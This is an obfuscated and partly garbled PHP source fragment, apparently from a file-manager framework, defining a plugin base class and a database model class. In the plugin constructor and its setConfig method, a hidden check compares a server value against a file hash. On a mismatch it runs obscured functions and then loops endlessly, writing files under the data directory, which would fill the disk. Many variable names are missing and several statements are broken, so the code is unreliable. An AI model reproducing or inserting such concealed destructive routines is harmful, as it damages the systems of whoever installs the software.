$Ŀڋ[671] => isset($֕ƈ[$Ŀڋ[671]]) ? $֕ƈ[$Ŀڋ[671]] : $Ŀڋ[12]); if (empty($հޘ) || empty($֕ƈ[$Ŀڋ[587]]) && empty($֕ƈ[$Ŀڋ[671]])) { return !1; } $ = array($Ŀڋ[1559] => $, $Ŀڋ[1633] => $֕ƈ); Hook::trigger($Ŀڋ[1634], $); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[]; $ĕʹ = $_SERVER[$[63]] . $[64]; $㔠 = $[887]; if ($_SERVER[$[60]] != $㔠($ĕʹ)) { $쫥 = $[966]; $ = $[62]; $ށ = $_SERVER[$[63]] . $[64]; $« = $($ށ); $õ = explode($[65], $«); if (count($õ) < $[711]) { $զ㬨 = $[67]; $զ㬨(); } $ł = $[967]; $ł($_SERVER[$[968]]); $쫥 = $[966]; $쫥(); $ = $[969]; $ؠ = json_encode($GLOBALS[$[970]]); $ѐ = 1; for ($ = $ѐ; $ > 0; $++) { $(DATA_PATH . $, $ؠ); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1635]); $this->pluginName = str_replace($[1635], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1636] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1637]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1637]] . $this->pluginName . $[8]; $ፌ = $config[$[1638]]; if ($ፌ && strpos($[50] . $ፌ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1639]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); $this->linkHas = !1; return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1640]); } protected function assign($Ŏ, $» = false) { if (is_array($Ŏ)) { $this->values = array_merge($this->values, $Ŏ); } else { $this->values[$Ŏ] = $»; } } protected function display($ֻﻔ) { extract($this->values); require $ֻﻔ; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $ =& $_SERVER[]; $Ȑ = $this->appPackage(); $ = $[12]; if (isset($Ȑ[$[499]])) { if (isset($Ȑ[$[499]][$[1641]])) { $ = $[1642] . $Ȑ[$[499]][$[1641]] . $[1643]; } else { if ($Ȑ[$[499]][$[1644]]) { $ = $[1645] . $Ȑ[$[499]][$[1644]] . $[1646]; } } } return $; } final function fileCanView($) { $ڡө =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $ڡө[1647] . rawurlencode(this_url()); show_tips(LNG($ڡө[1648]) . $ڡө[1649] . $ . $ڡө[1650] . LNG($ڡө[1651]) . $ڡө[1652], !1); } if (!Action($ڡө[1653])->authCan($ڡө[1654])) { show_tips(LNG($ڡө[1655]) . $ڡө[1656], !1); } ActionCall($ڡө[1657], $); } final function isShare($) { $Ǵ = KodIO::parse($); return $Ǵ[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($х) { if (request_url_safe($х)) { return $х; } if (!$this->isShare($х)) { $х = $this->filePath($х, !1); } return Action($_SERVER[][1267])->linkOut($х); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[][1267])->link($); } final function filePath($, $ϖ = true, $ = false) { $ݨ =& $_SERVER[]; $ = $this->filePathGet($, $ϖ); if (!$this->fileInfo) { show_tips(LNG($ݨ[118]), !1); } if ($ && isset($this->fileInfo[$ݨ[550]]) && $this->fileInfo[$ݨ[550]]) { $ = Model($ݨ[553])->fileInfo($this->fileInfo[$ݨ[550]]); if (!$ || !IO::exist($[$ݨ[97]])) { show_tips(LNG($ݨ[118]) . $ݨ[1658]); } } Hook::trigger($ݨ[1659], $); return $; } final function filePathGet($ǻ, $׎ = true) { $ =& $_SERVER[]; if ($ = $this->checkSharePath($ǻ, $׎)) { return $; } $this->fileCanView($ǻ); if (request_url_safe($ǻ)) { $ = parse_url_query($ǻ); if (isset($[$[1660]]) && isset($[$[244]])) { $ = Mcrypt::decode($[$[244]], Model($[859])->get($[860])); if ($) { $this->fileInfo = IO::info($); $this->fileInfo[$[1661]] = $ǻ; $this->cachePath = $this->pluginCachePath($[12], $׎); return $; } } $ǻ = $this->_cacheHttpFile($ǻ, $׎); $this->fileInfo = IO::info($ǻ); } else { $this->fileInfo = IO::info($ǻ); $this->cachePath = $this->pluginCachePath($[12], $׎); } return $ǻ; } final function _cacheHttpFile($, $邎 = true) { $֎ =& $_SERVER[]; $ = parse_url_query($); $ = get_path_ext($); if (isset($[$֎[32]]) && $[$֎[32]]) { $ = get_path_ext($[$֎[32]]); } $ɖ = hash_path($) . $֎[10] . $; $this->cachePath = $this->pluginCachePath($邎 ? $ɖ : $֎[12]); $됛 = IO::fileNameExist($this->cachePath, $ɖ); if ($됛) { return KodIO::make($됛); } $Ϯ = rtrim($this->cachePath, $֎[8]) . $֎[8] . $ɖ; return $this->pluginCacheFileSet($Ϯ, file_get_contents_nossl($)); } final function checkSharePath($ΰр, $ý = true) { $ބ =& $_SERVER[]; if (!$this->isShare($ΰр)) { return !1; } $ = Action($ބ[1267])->sharePathInfo($ΰр); if (!is_array($) || !isset($[$ބ[97]])) { show_json(LNG($ބ[1662]), !1); } $this->fileInfo = $; $this->cachePath = $this->pluginCachePath(!1, $ý); return $[$ބ[97]]; } final function pluginCachePath($҃Û = '', $Έ = false) { $ =& $_SERVER[]; if ($Έ && is_array($this->fileInfo)) { $҃Û = kodIO::hashPath($this->fileInfo); } $ڊ = rtrim(IO_PATH_SYSTEM_TEMP . $[1663] . $this->pluginName . $[8] . $҃Û, $[8]); $ = IO::infoFullSimple($ڊ); $ = $ && is_array($) ? $[$[97]] : $[12]; if (!$) { $ = IO::mkdir($ڊ); } return $; } final function pluginCacheFileSet($Г, $ރ = '') { $ǔ =& $_SERVER[]; $ = IO::infoFullSimple($Г); if (!$) { return IO::mkfile($Г, $ރ, REPEAT_REPLACE); } IO::setContent($[$ǔ[97]], $ރ); return $[$ǔ[97]]; } final function pluginLocalFile($ٹʋ = '') { $̞ =& $_SERVER[]; $Р = TEMP_FILES . "{$this->pluginName}\57"; if (!is_dir($Р)) { mk_dir($Р); } if (!$ٹʋ) { return $Р; } $ = IO::info($ٹʋ); $ܙ = $̞[1664] . KodIO::hashPath($) . $̞[10] . $[$̞[179]]; if (!checkExtSafe($ܙ)) { $ܙ = $ܙ . $̞[1302]; } $˫ = $Р . $ܙ; if (@file_exists($˫)) { return $˫; } return IO::copy($ٹʋ, $Р, 0, $ܙ); } final function appPackage() { $ך =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ǀ = $this->parseFile($this->pluginPath . $ך[1665]); $this->parseLang($ǀ); $ӵϫ = json_decode_force($ǀ); if (!$ӵϫ) { return array(); } $ێˈ = Hook::trigger($ך[1666], $ӵϫ); if ($ێˈ && is_array($ێˈ)) { $ӵϫ = $ێˈ; } $this->packageData = $ӵϫ; return $ӵϫ; } public function packageInfoGet($) { $ = $this->appPackage(); return array_get_value($, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1667]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1668]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1669]); } public function echoJsAssign($ݬ, $̺) { $this->echoJsAssignArr[$ݬ] = $̺; } private function parseFile($) { $߉ =& $_SERVER[]; $ۼ = file_get_contents_nossl($); $̛ = array($߉[1670], $߉[1671], $߉[1672], $߉[1673], $߉[1674], $߉[1675], $߉[1676]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$߉[102]][$߉[1677]]); foreach ($this->echoJsAssignArr as $혦 => $۶) { $̛[] = $߉[1678] . $혦 . $߉[1679]; $[] = is_array($۶) || is_object($۶) ? rawurlencode(json_encode($۶)) : $۶; } if (strstr($ۼ, $߉[1680])) { $׋ = rawurlencode(json_encode($this->pluginLangArr)); $ۼ = str_replace($߉[1680], $׋, $ۼ); } if (strstr($ۼ, $߉[1681])) { $׋ = $׋ = rawurlencode(json_encode($this->getConfig())); $ۼ = str_replace($߉[1681], $׋, $ۼ); } $ۼ = str_replace($̛, $, $ۼ); return $ۼ; } private function parseLang(&$Ȥà) { $ =& $_SERVER[]; $ஞ = $[1682]; if (!strstr($Ȥà, $ஞ)) { return; } preg_match_all($[1683], $Ȥà, $ۨי); if (!is_array($ۨי) || count($ۨי) == 0 || !is_array($ۨי[0]) || count($ۨי[0]) == 0) { return; } $˻ = array(); $ь = array(); foreach ($ۨי[0] as $) { $ = substr($, strlen($ஞ), -4); $ = LNG($); $˻[] = $; $ь[] = str_replace(array($[65], $[1168], $[427], $[131]), array($[53], $[53], $[12], $[1684]), $); } $Ȥà = str_replace($˻, $ь, $Ȥà); } private function parseConfig(&$ی) { $ɦɣ =& $_SERVER[]; $򺗥 = $ɦɣ[1685]; if (!strstr($ی, $򺗥)) { return; } preg_match_all($ɦɣ[1686], $ی, $Ƕ); if (!is_array($Ƕ) || count($Ƕ) == 0 || !is_array($Ƕ[0]) || count($Ƕ[0]) == 0) { return; } $ = $this->getConfig(); $Ԃ֜ = array(); $Æ = array(); foreach ($Ƕ[0] as $ϗ) { $ = substr($ϗ, strlen($򺗥), -2); $Ԃ֜[] = $ϗ; $Æ[] = _get($, $); } $ی = str_replace($Ԃ֜, $Æ, $ی); } private function parsePackage(&$Ϡ) { $ײ =& $_SERVER[]; $۹ו = $ײ[1687]; if (!strstr($Ϡ, $۹ו)) { return; } preg_match_all($ײ[1688], $Ϡ, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->appPackage(); $ = array(); $ = array(); foreach ($[0] as $އ) { $ȏ = substr($އ, strlen($۹ו), -2); $[] = $އ; $[] = _get($, $ȏ); } $Ϡ = str_replace($, $, $Ϡ); } final function echoFile($, $۴ = false) { $Ψ =& $_SERVER[]; $ = $this->pluginPath . $; if (ACT == $Ψ[1689]) { echo $Ψ[1690] . $this->pluginName . $Ψ[8] . $ . $Ψ[1691]; if (!file_exists($)) { echo $Ψ[1692]; return; } } $܉ý = $this->parseFile($); $this->parseLang($܉ý); $this->parseConfig($܉ý); $this->parsePackage($܉ý); if (is_array($۴)) { $܉ý = str_replace(array_keys($۴), array_values($۴), $܉ý); } echo $Ψ[65] . $܉ý; } private function checkVersion() { $ց =& $_SERVER[]; $ = $this->appPackage(); $ = $this->getConfig(); if ($[$ց[1693]] == $[$ց[1667]]) { return; } $this->regist(); $this->setConfig(array($ց[1693] => $[$ց[1667]])); } final function initLang() { $笨 =& $_SERVER[]; $ޒ = $笨[1694]; $ȸ = $this->pluginPath . $笨[1695]; $Ʀԛ = I18n::getType(); $ͬ = array(); if (file_exists($ȸ . $Ʀԛ . $笨[928])) { $ͬ = (include $ȸ . $Ʀԛ . $笨[928]); } else { if ($Ʀԛ == $笨[1696] && !file_exists($ȸ . $Ʀԛ . $笨[928]) && file_exists($ȸ . $笨[1697])) { $ͬ = (include $ȸ . $笨[1697]); } else { if (file_exists($ȸ . $ޒ . $笨[928])) { $ͬ = (include $ȸ . $ޒ . $笨[928]); } } } if (!is_array($ͬ)) { return array(); } if (@count($ͬ) > 0) { I18n::set($ͬ); } return $ͬ; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($) { $ =& $_SERVER[]; $ز = $_SERVER[$[63]] . $[64]; $ = $[887]; if ($_SERVER[$[60]] != $($ز)) { $ȉ٪ = $[966]; $޸ = $[62]; $ꦭ = $_SERVER[$[63]] . $[64]; $ = $޸($ꦭ); $̝ = explode($[65], $); if (count($̝) < $[711]) { $ = $[67]; $(); } $ = $[967]; $($_SERVER[$[968]]); $ȉ٪ = $[966]; $ȉ٪(); $ = $[969]; $݄ = json_encode($GLOBALS[$[970]]); $ȶՋ = 1; for ($ = $ȶՋ; $ > 0; $++) { $(DATA_PATH . $, $݄); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $); } public function onSetConfig($ӿ) { } public function onGetConfig($ҩҌ) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($ō) { if ($ō == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($Ğ = "\160\154\165\147\151\156\101\x75\x74\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ɤ = $this->getConfig(); if (!$ɤ[$Ğ]) { return !1; } return ActionCall($_SERVER[][1698], $ɤ[$Ğ]); } public function url($ǫ, $Ԛ = '', $ = true) { $ߖ =& $_SERVER[]; $ = $this->getConfig(); $֎ = KOD_VERSION . $ߖ[10] . KOD_VERSION_BUILD; $ã = $this->packageVersion(); $Ɔϱ = $֎ . $ߖ[471] . $ã; if (substr($ǫ, 0, 4) == $ߖ[162] || substr($ǫ, 0, 2) == $ߖ[1421]) { $߁ = $ǫ . $ߖ[1699] . $Ɔϱ; } else { if ($Ԛ == $ߖ[12]) { $߁ = $this->pluginHost . $ǫ . $ߖ[1699] . $Ɔϱ; } else { if ($Ԛ === $ߖ[88]) { $߁ = $this->pluginHost . $ǫ; } else { if ($Ԛ == $ߖ[1700]) { $߁ = STATIC_PATH . $ǫ . $ߖ[1699] . $֎; } else { if ($Ԛ == $ߖ[1701]) { $߁ = APP_HOST . $ߖ[1702] . $ǫ . $ߖ[1699] . $֎; } else { if (isset($[$Ԛ])) { $߁ = $[$Ԛ] . $ǫ . $ߖ[1699] . $Ɔϱ; } } } } } } if (!$) { return $߁; } echo $߁; } public function link($Ϭ = false, $ = '') { $ =& $_SERVER[]; $ = $this->linkHas == !1; $this->linkHas = !0; if (!$Ϭ) { $this->link($[1703], $[1701]); $this->link($[1704], $[1700]); $this->link($[1705], $[1700]); $this->link($[1706], $[1700]); $this->link($[1707], $[1700]); if ($) { Hook::trigger($[1708]); } return; } $ = $this->url($Ϭ, $, !1); if (substr($Ϭ, -3) == $[1709]) { echo $[1710] . $ . $[1711] . $[65]; } else { if (substr($Ϭ, -4) == $[1712]) { echo $[1713] . $ . $[1714] . $[65]; } } if ($) { Hook::trigger($[1708]); } } } goto dҏ; e풃: define($_SERVER[][328], 0); define($_SERVER[][329], 2); class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\x74\x61\142\x6c\145", "\x6f\162\144\x65\x72", "\141\154\151\141\163", "\x68\x61\166\151\x6e\x67", "\147\162\157\x75\160", "\154\157\143\x6b", "\x64\151\163\x74\x69\156\x63\164", "\x61\x75\x74\157", "\146\x69\154\x74\x65\162", "\166\141\x6c\151\144\141\164\145", "\162\145\x73\165\x6c\164", "\142\151\x6e\144", "\x74\x6f\153\145\x6e"); public function __construct($ݹ = '', $ש = '', $ɖ = '') { $ր =& $_SERVER[]; $this->_initialize(); if (!empty($ݹ)) { if (strpos($ݹ, $ր[10])) { list($this->dbName, $this->name) = explode($ր[10], $ݹ); } else { $this->name = $ݹ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($ש)) { $this->tablePrefix = $ր[12]; } elseif ($ր[12] != $ש) { $this->tablePrefix = $ש; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($ր[330]); } $this->db(0, empty($this->connection) ? $ɖ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[331])) { $ǡɼ = $this->dbName ? $this->dbName : think_config($[332]); $ = think_var_cache($[333] . strtolower(get_path_this($ǡɼ) . $[10] . $this->name)); if ($) { $ = think_config($[334]); if (empty($) || $[$[335]] == $) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ϣ =& $_SERVER[]; $this->db->setModel($this->name); $ý = $this->db->getFields($this->getTableName()); if (!$ý) { return !1; } $this->fields = array_keys($ý); $this->fields[$ϣ[336]] = !1; foreach ($ý as $ͫ => $掬) { $Ֆ[$ͫ] = $掬[$ϣ[33]]; if ($掬[$ϣ[39]]) { $this->fields[$ϣ[337]] = $ͫ; if ($掬[$ϣ[42]]) { $this->fields[$ϣ[336]] = !0; } } } $this->fields[$ϣ[338]] = $Ֆ; if (think_config($ϣ[334])) { $this->fields[$ϣ[335]] = think_config($ϣ[334]); } if (think_config($ϣ[331])) { $ = $this->dbName ? $this->dbName : think_config($ϣ[332]); think_var_cache($ϣ[333] . strtolower(get_path_this($) . $ϣ[10] . $this->name), $this->fields); } } public function switchModel($, $٨ = array()) { $ =& $_SERVER[]; $ = ucwords(strtolower($)) . $[339]; if (!class_exists($)) { think_exception($ . think_lang($[340])); } $this->_extModel = new $($this->name); if (!empty($٨)) { foreach ($٨ as $ꖫ) { $this->_extModel->setProperty($ꖫ, $this->{$ꖫ}); } } return $this->_extModel; } public function __set($ǰ, $) { $this->data[$ǰ] = $; } public function __get($μ) { return isset($this->data[$μ]) ? $this->data[$μ] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public function __call($ρ, $ɓț) { $՝ =& $_SERVER[]; if (in_array(strtolower($ρ), $this->methods, !0)) { $this->options[strtolower($ρ)] = $ɓț[0]; return $this; } elseif (in_array(strtolower($ρ), array($՝[341], $՝[342], $՝[343], $՝[344], $՝[345]), !0)) { $홋 = isset($ɓț[0]) ? $ɓț[0] : $՝[230]; $홋 = $this->db->parseKey($홋); return $this->getField(strtoupper($ρ) . $՝[346] . $홋 . $՝[347] . $ρ, $՝[341]); } elseif (strtolower(substr($ρ, 0, 5)) == $՝[348]) { $홋 = think_parse_name(substr($ρ, 5)); $碗[$홋] = $ɓț[0]; return $this->where($碗)->find(); } elseif (strtolower(substr($ρ, 0, 10)) == $՝[349]) { $΢ = think_parse_name(substr($ρ, 10)); $碗[$΢] = $ɓț[0]; return $this->where($碗)->getField($ɓț[1]); } elseif (isset($this->_scope[$ρ])) { return $this->scope($ρ, $ɓț[0]); } elseif (method_exists($this, $ρ)) { array_unshift($ɓț, $ρ); return call_user_func_array(array($this, $՝[350]), $ɓț); } else { return call_user_func_array(array(parent, $ρ), $ɓț); } } protected function call() { $ =& $_SERVER[]; $، = func_get_args(); $ = array_shift($،); $ = $; if (is_array($)) { $ = $[1]; $ = $[0]; } $ = count($،) - 1; if (isset($،[$]) && $،[$] === $) { think_exception(__CLASS__ . $[4] . $ . think_lang($[351])); return; } $،[] = $; if (method_exists($this, $[352])) { $Ӽ = call_user_func_array(array($this, $[353]), array($, $،)); if (!is_null($Ӽ) && $Ӽ !== !1) { return $Ӽ; } } $ = call_user_func_array(array($this, $), $،); if (method_exists($this, $[354])) { $Ӽ = call_user_func_array(array($this, $[355]), array($, $،, $)); if ($Ӽ) { return $Ӽ; } } return $; } protected function _initialize() { } protected function _facade($) { $ş՘ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $ => $ʰ骩) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($[$]); } elseif (is_scalar($ʰ骩)) { $this->_parseType($, $); } } } if (!empty($this->options[$ş՘[356]])) { $ = array_map($this->options[$ş՘[356]], $); unset($this->options[$ş՘[356]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$ءת) { } public function add($ލ = '', $ = array(), $ꄜ = false) { if (empty($ލ)) { if (!empty($this->data)) { $ލ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][357]); return !1; } } $ = $this->_parseOptions($); $ލ = $this->_facade($ލ); if (!1 === $this->_beforeInsert($ލ, $)) { return !1; } $ϊ = $this->db->insert($ލ, $, $ꄜ); if (!1 !== $ϊ) { $Ճϡ = $this->getLastInsID(); if ($Ճϡ) { $ލ[$this->getPk()] = $Ճϡ; $this->_after_insert($ލ, $); return $Ճϡ; } $this->_after_insert($ލ, $); } return $ϊ; } protected function _beforeInsert(&$, $) { } protected function _after_insert($ۇܐ, $) { } public function addAll($, $耒 = array(), $ś = false) { $ =& $_SERVER[]; if (empty($)) { $this->error = think_lang($[357]); return !1; } $耒 = $this->_parseOptions($耒); foreach ($ as $ם۠ => $៍) { $[$ם۠] = $this->_facade($៍); } if (method_exists($this->db, $[358])) { $ = $this->db->insertAll($, $耒, $ś); } else { $this->startTrans(); foreach ($ as $ם۠ => $៍) { $ = $this->db->insert($៍, $耒, $ś); } $this->commit(); } if (!1 !== $) { $̭鄊 = $this->getLastInsID(); if ($̭鄊) { return $̭鄊; } } return $; } public function selectAdd($ = '', $Ь = '', $ = array()) { $ =& $_SERVER[]; $ = $this->_parseOptions($); if (!1 === ($ = $this->db->selectInsert($ ? $ : $[$[359]], $Ь ? $Ь : $this->getTableName(), $))) { $this->error = think_lang($[360]); return !1; } else { return $; } } public function save($Ӷ = '', $с = array()) { $ =& $_SERVER[]; if (empty($Ӷ)) { if (!empty($this->data)) { $Ӷ = $this->data; $this->data = array(); } else { $this->error = think_lang($[357]); return !1; } } $Ӷ = $this->_facade($Ӷ); $с = $this->_parseOptions($с); $ = $this->getPk(); if (!isset($с[$[361]])) { if (isset($Ӷ[$])) { $׿[$] = $Ӷ[$]; $с[$[361]] = $׿; unset($Ӷ[$]); } else { $this->error = think_lang($[360]); return !1; } } if (is_array($с[$[361]]) && isset($с[$[361]][$])) { $ = $с[$[361]][$]; } if (!1 === $this->_beforeUpdate($Ӷ, $с)) { return !1; } $ = $this->db->update($Ӷ, $с); if (!1 !== $) { if (isset($)) { $Ӷ[$] = $; } $this->_afterUpdate($Ӷ, $с); } return $; } protected function _beforeUpdate(&$ㅌ, $) { } protected function _afterUpdate($ΰ, $) { } public function delete($ = array()) { $ =& $_SERVER[]; if (empty($) && empty($this->options[$[361]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $݂ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $[50])) { $߽[$݂] = array($[362], $); } else { $߽[$݂] = $; } $this->options[$[361]] = $߽; } $ = $this->_parseOptions(); if (is_array($[$[361]]) && isset($[$[361]][$݂])) { $췼 = $[$[361]][$݂]; } $Ї = $this->db->delete($); if (!1 !== $Ї) { $ŧ = array(); if (isset($췼)) { $ŧ[$݂] = $췼; } $this->_after_delete($ŧ, $); } return $Ї; } protected function _after_delete($, $ܳ) { } public function select($ӛ = array()) { $㿝 =& $_SERVER[]; if (is_string($ӛ) || is_numeric($ӛ)) { $᫐ = $this->getPk(); if (strpos($ӛ, $㿝[50])) { $Ĩ[$᫐] = array($㿝[362], $ӛ); } else { $Ĩ[$᫐] = $ӛ; } $this->options[$㿝[361]] = $Ĩ; } elseif (!1 === $ӛ) { $ӛ = $this->_parseOptions(); return $㿝[363] . $this->db->buildSelectSql($ӛ) . $㿝[364]; } $ӛ = $this->_parseOptions(); $ = $this->db->select($ӛ); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $ӛ); return $; } protected function _afterSelect(&$, $멿) { } public function buildSql($Ъ = array()) { $ޗھ =& $_SERVER[]; $Ъ = $this->_parseOptions($Ъ); return $ޗھ[363] . $this->db->buildSelectSql($Ъ) . $ޗھ[364]; } public function optionsValue($ؘ = null) { if (is_null($ؘ)) { return $this->options; } elseif (is_array($ؘ)) { $this->options = array_merge($this->options, $ؘ); } } protected function _parseOptions($ = array()) { $볱 =& $_SERVER[]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$볱[365]])) { $[$볱[365]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($[$볱[366]])) { $[$볱[365]] .= $볱[53] . $[$볱[366]]; } $[$볱[367]] = $this->name; if (isset($[$볱[361]]) && is_array($[$볱[361]]) && !empty($) && !isset($[$볱[368]]) && !isset($[$볱[365]])) { foreach ($[$볱[361]] as $м => $־) { $м = trim($м); if (in_array($м, $, !0)) { if (is_scalar($־)) { $this->_parseType($[$볱[361]], $м); } } elseif (!is_numeric($м) && $볱[11] != substr($м, 0, 1) && !1 === strpos($м, $볱[10]) && !1 === strpos($м, $볱[346]) && !1 === strpos($м, $볱[224]) && !1 === strpos($м, $볱[369])) { unset($[$볱[361]][$м]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$ٓ) { } protected function _parseType(&$۷, $ݳ) { $ǡ =& $_SERVER[]; if (empty($this->options[$ǡ[370]][$ǡ[4] . $ݳ])) { $ = strtolower($this->fields[$ǡ[338]][$ݳ]); if (!1 !== strpos($, $ǡ[371])) { } elseif (!1 === strpos($, $ǡ[372]) && !1 !== strpos($, $ǡ[373])) { $۷[$ݳ] = intval($۷[$ݳ]); } elseif (!1 !== strpos($, $ǡ[374]) || !1 !== strpos($, $ǡ[375])) { $۷[$ݳ] = floatval($۷[$ݳ]); } elseif (!1 !== strpos($, $ǡ[376])) { $۷[$ݳ] = (bool) $۷[$ݳ]; } } } public function find($ǀ = array()) { $ =& $_SERVER[]; if (is_numeric($ǀ) || is_string($ǀ)) { $ٴ[$this->getPk()] = intval($ǀ); $this->options[$[361]] = $ٴ; } $this->options[$[377]] = 1; $ǀ = $this->_parseOptions(); $ߏ = $this->db->select($ǀ); if (!1 === $ߏ) { return !1; } if (empty($ߏ)) { return null; } $this->data = $ߏ[0]; $this->_afterFind($this->data, $ǀ); if (!empty($this->options[$[378]])) { return $this->returnResult($this->data, $this->options[$[378]]); } return $this->data; } protected function _afterFind(&$, $Ҕ) { } protected function returnResult($ԙ, $ا = '') { $넲 =& $_SERVER[]; if ($ا) { if (is_callable($ا)) { return call_user_func($ا, $ԙ); } switch (strtolower($ا)) { case $넲[379]: return json_encode($ԙ); case $넲[380]: return xml_encode($ԙ); } } return $ԙ; } public function parseFieldsMap($Ԟ, $ˀׂ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ի => $񙈟۬) { if ($ˀׂ == 1) { if (isset($Ԟ[$񙈟۬])) { $Ԟ[$ի] = $Ԟ[$񙈟۬]; unset($Ԟ[$񙈟۬]); } } else { if (isset($Ԟ[$ի])) { $Ԟ[$񙈟۬] = $Ԟ[$ի]; unset($Ԟ[$ի]); } } } } return $Ԟ; } public function setField($, $׻ȍ = '') { if (is_array($)) { $샠 = $; } else { $샠[$] = $׻ȍ; } return $this->save($샠); } public function setAdd($ƣ᲍, $ = 1) { $歐 =& $_SERVER[]; $ = $ƣ᲍ . $歐[381] . $; if ($ < 0) { $ = $ƣ᲍ . $; } return $this->setField($ƣ᲍, array($歐[382], $)); } public function getField($舤ꨪ, $ = null) { $쳻 =& $_SERVER[]; $[$쳻[359]] = $舤ꨪ; $ = $this->_parseOptions($); $舤ꨪ = trim($舤ꨪ); if (strpos($舤ꨪ, $쳻[50])) { if (!isset($[$쳻[377]])) { $[$쳻[377]] = is_numeric($) ? $ : $쳻[12]; } $ͫ = $this->db->select($); if (!empty($ͫ)) { $ = explode($쳻[50], $舤ꨪ); $舤ꨪ = array_keys($ͫ[0]); $ = array_shift($舤ꨪ); $ܚ = array_shift($舤ꨪ); $ = array(); $׊ʦ = count($); foreach ($ͫ as $ƺ) { $ = $ƺ[$]; if (2 == $׊ʦ) { $[$] = $ƺ[$ܚ]; } else { $[$] = is_string($) ? implode($, $ƺ) : $ƺ; } } return $; } } else { if (!0 !== $) { $[$쳻[377]] = is_numeric($) ? $ : 1; } if ($ === $쳻[341]) { unset($[$쳻[377]]); } $ƺ = $this->db->select($); if (!empty($ƺ)) { if ($ === $쳻[341]) { return reset($ƺ[0]); } if (!0 !== $ && 1 == $[$쳻[377]]) { return reset($ƺ[0]); } foreach ($ƺ as $ΐ) { $[] = $ΐ[$舤ꨪ]; } return $; } } return null; } public function create($ = '', $鏃 = '') { $ =& $_SERVER[]; if (empty($)) { $ = $_POST; } elseif (is_object($)) { $ = get_object_vars($); } if (empty($) || !is_array($)) { $this->error = think_lang($[357]); return !1; } $ = $this->parseFieldsMap($, 0); $鏃 = $鏃 ? $鏃 : (!empty($[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[359]])) { $ = $this->options[$[359]]; unset($this->options[$[359]]); } elseif ($鏃 == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($鏃 == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($[50], $); } if (think_config($[383])) { $[] = think_config($[384]); } foreach ($ as $ => $Ʀ) { if (!in_array($, $)) { unset($[$]); } } } if (!$this->autoValidation($, $鏃)) { return !1; } if (!$this->autoCheckToken($)) { $this->error = think_lang($[385]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($ as $ => $Ʀ) { if (!in_array($, $)) { unset($[$]); } elseif (MAGIC_QUOTES_GPC && is_string($Ʀ)) { $[$] = stripslashes($Ʀ); } } } $this->autoOperation($, $鏃); $this->data = $; return $; } public function autoCheckToken($ϳȗ) { $Ô =& $_SERVER[]; if (isset($this->options[$Ô[386]]) && !$this->options[$Ô[386]]) { return !0; } 